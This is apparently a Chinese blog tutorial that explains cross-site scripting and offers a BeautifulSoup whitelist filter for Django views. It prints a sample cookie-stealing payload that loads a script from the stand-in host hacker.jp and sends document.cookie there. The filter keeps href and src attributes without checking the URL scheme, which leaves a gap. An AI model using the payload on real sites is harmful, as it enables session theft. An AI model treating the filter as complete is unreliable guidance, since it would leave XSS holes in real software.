• XSS攻击


    一、什么是XSS攻击

      跨站脚本攻击(Cross-Site Scripting,XSS)是指通过存在安全漏洞的Web 网站注册用户的浏览器内运行非法的 HTML 标签或 JavaScript 进行的一种攻击。动态创建的 HTML 部分有可能隐藏着安全漏洞。

      跨站脚本攻击可能造成以下影响:利用虚假输入表单骗取用户个人信息;利用脚本获取用户cookie,然后在用户不知情的情况下做出危害用户个人利益的行为。

    例如:如下行为就可以窃取客户的cookie

    #黑客脚本文件
    <script src=http://hacker.jp/xss.js></script>
    
    #黑客脚本文件内容,获取用户的cookie并发送至黑客网址
    var content = escape(document.cookie);document.write("<img src=http://hacker.jp/?");
    document.write(content);
    document.write(">");

    在web应用上执行黑客脚本文件就可以窃取到客户的cookie,并且当送到指定的黑客网址。

    二、预防XSS攻击

    XSS攻击存在的根本原因是对用户提交给Web Server端的内容没有进行充分的过滤,如果服务端对用户提交的一些不合法的参数和内容进行过滤,也就不易出现XSS攻击了。

    预防XSS攻击思路:对用户提交的内容进行过滤,尤其是script标签,然后再将其存入到数据库中。

    1、XSS过滤器

    from bs4 import BeautifulSoup
    
    
    class XSSFilter(object):
        __instance = None
    
        def __init__(self):
            """
            XSS白名单
            """
            self.valid_tags = {
                "font": ['color', 'size', 'face', 'style'],
                'b': [],
                'div': [],
                "span": [],
                "table": [
                    'border', 'cellspacing', 'cellpadding'
                ],
                'th': [
                    'colspan', 'rowspan'
                ],
                'td': [
                    'colspan', 'rowspan'
                ],
                "a": ['href', 'target', 'name'],
                "img": ['src', 'alt', 'title'],
                'p': [
                    'align'
                ],
                "pre": ['class'],
                "hr": ['class'],
                'strong': []
            }
    
        def __new__(cls, *args, **kwargs):
            """
            单例模式,保证每一个用户都使用一个对象(对象的初始化内容一样),这样节省占用空间
            :param cls:
            :param args:
            :param kwargs:
            :return:
            """
            if not cls.__instance:
                obj = object.__new__(cls, *args, **kwargs)
                cls.__instance = obj
            return cls.__instance
    
        def process(self, content):
            """
            对用户提交的内容进行过滤,然后再返回过滤后的字符串内容
            :param content: 
            :return: 
            """
            soup = BeautifulSoup(content, 'html.parser')
            # 遍历所有HTML标签
            for tag in soup.find_all(recursive=True):
                # 判断标签名是否在白名单中
                if tag.name not in self.valid_tags:
                    tag.hidden = True
                    if tag.name not in ['html', 'body']:
                        tag.hidden = True
                        tag.clear()
                    continue
                # 当前标签的所有属性白名单
                attr_rules = self.valid_tags[tag.name]
                keys = list(tag.attrs.keys())
                for key in keys:
                    if key not in attr_rules:
                        del tag[key]
            
            return soup.decode()

    2、使用

    在需要使用的视图函数中进行使用上述实例中的process函数:

    def add_book(request):
          if request.method == 'POST':
                ...
                #进行过滤
                content = XSSFilter().process(content)
                ...
             return redirect('/book/')
  • 相关阅读:
    面试(5)
    面试(五)
    面试(4)
    面试(四)
    面试(三)
    面试(2,3)
    利用session控制 长时间未操作自动退出登录
    一次性清除所有session
    动态引进js文件
    Vue--findIndex方法的使用原理
  • 原文地址:https://www.cnblogs.com/shenjianping/p/11723083.html
Copyright © 2020-2023  润新知